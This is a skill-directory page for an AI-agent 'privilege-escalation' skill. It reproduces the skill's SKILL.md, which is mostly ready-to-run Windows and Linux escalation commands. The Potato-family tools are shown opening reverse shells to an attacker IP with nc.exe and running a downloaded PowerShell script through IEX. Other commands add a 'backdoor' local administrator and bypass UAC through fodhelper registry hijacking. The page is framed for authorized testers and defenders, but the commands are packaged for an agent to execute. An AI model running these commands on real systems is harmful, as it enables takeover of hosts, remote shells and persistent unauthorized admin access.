privilege-escalation
What it does
This knowledge base covers how a low-privilege account can gain higher rights on Windows and Linux systems. It is for defenders and authorized testers who review privilege settings.
When to use it
- βWhen an authorized test starts from a low-privilege account and needs to find the path to admin rights.
- βWhen a team reviews Windows service accounts that hold impersonation rights.
- βWhen a Linux team wants to check its sudo, special permission files and kernel versions.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWe have a low-privilege account on one of our Windows servers. Can you check whether it could reach admin rights, within our test scope?β
5 new skills a week. 1 minute to read.
How it works
The agent runs an enumeration of privilege settings first, then checks the most likely paths such as service permissions and impersonation rights, and reports the ones that need fixing.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Privilege Escalation Knowledge Base
Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting β automated tools identify the fastest route.
Quick Reference
# Windows β GodPotato (service account β SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Windows β PrintSpoofer (service account β SYSTEM)
PrintSpoofer.exe -i -c cmd
# Windows β winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt
# Linux β linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt
# Linux β find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt
# Linux β check sudo privileges
sudo -l
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1134.001 | Token Impersonation/Theft | GodPotato, PrintSpoofer, SigmaPotato |
| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |
| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |
| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |
| T1053.003 | Scheduled Task/Cron | Writable cron scripts, PATH injection |
1. Windows Token Impersonation β Potato Family
GodPotato (Most Versatile)
# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"
# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"
# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
GodPotato Details:
- Works on Windows 8 through 11, Server 2012 through 2022
- Exploits DCOM (Distributed COM) OXID resolver
- Requires:
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege - Common contexts: IIS AppPool, SQL Server, service accounts
PrintSpoofer (Print Spooler Named Pipe)
# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd
# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# With PowerShell
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer Details:
- Works on Windows 10, Server 2016 and 2019
- Exploits Print Spooler service named pipe impersonation
- Requires:
SeImpersonatePrivilege - May fail if Print Spooler service is disabled (hardened environments)
SigmaPotato (Extended GodPotato Fork)
# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444
# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"
# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"
SigmaPotato Details:
- Extended OS support beyond GodPotato
- Uses .NET reflection for flexibility
- Same prerequisites:
SeImpersonatePrivilege
Choosing the Right Potato
| Tool | OS Range | Method | Best For |
|---|---|---|---|
| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |
| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |
| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |
| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |
| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |
Check Prerequisites
# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)
2. UAC Bypass Techniques
fodhelper.exe Bypass
# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
# Trigger UAC bypass
fodhelper.exe
# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f
FAQ
Why enumerate first?
The guide says automated checks reveal the quickest route, so testers do not guess.
What is token impersonation?
It is when a service account can take over the rights of another login session, which the guide treats as a common risk.
How do defenders reduce it?
Limit impersonation rights, patch systems and remove unneeded special permissions.
Details
Original description by the author
Host privilege escalation β Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14138
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.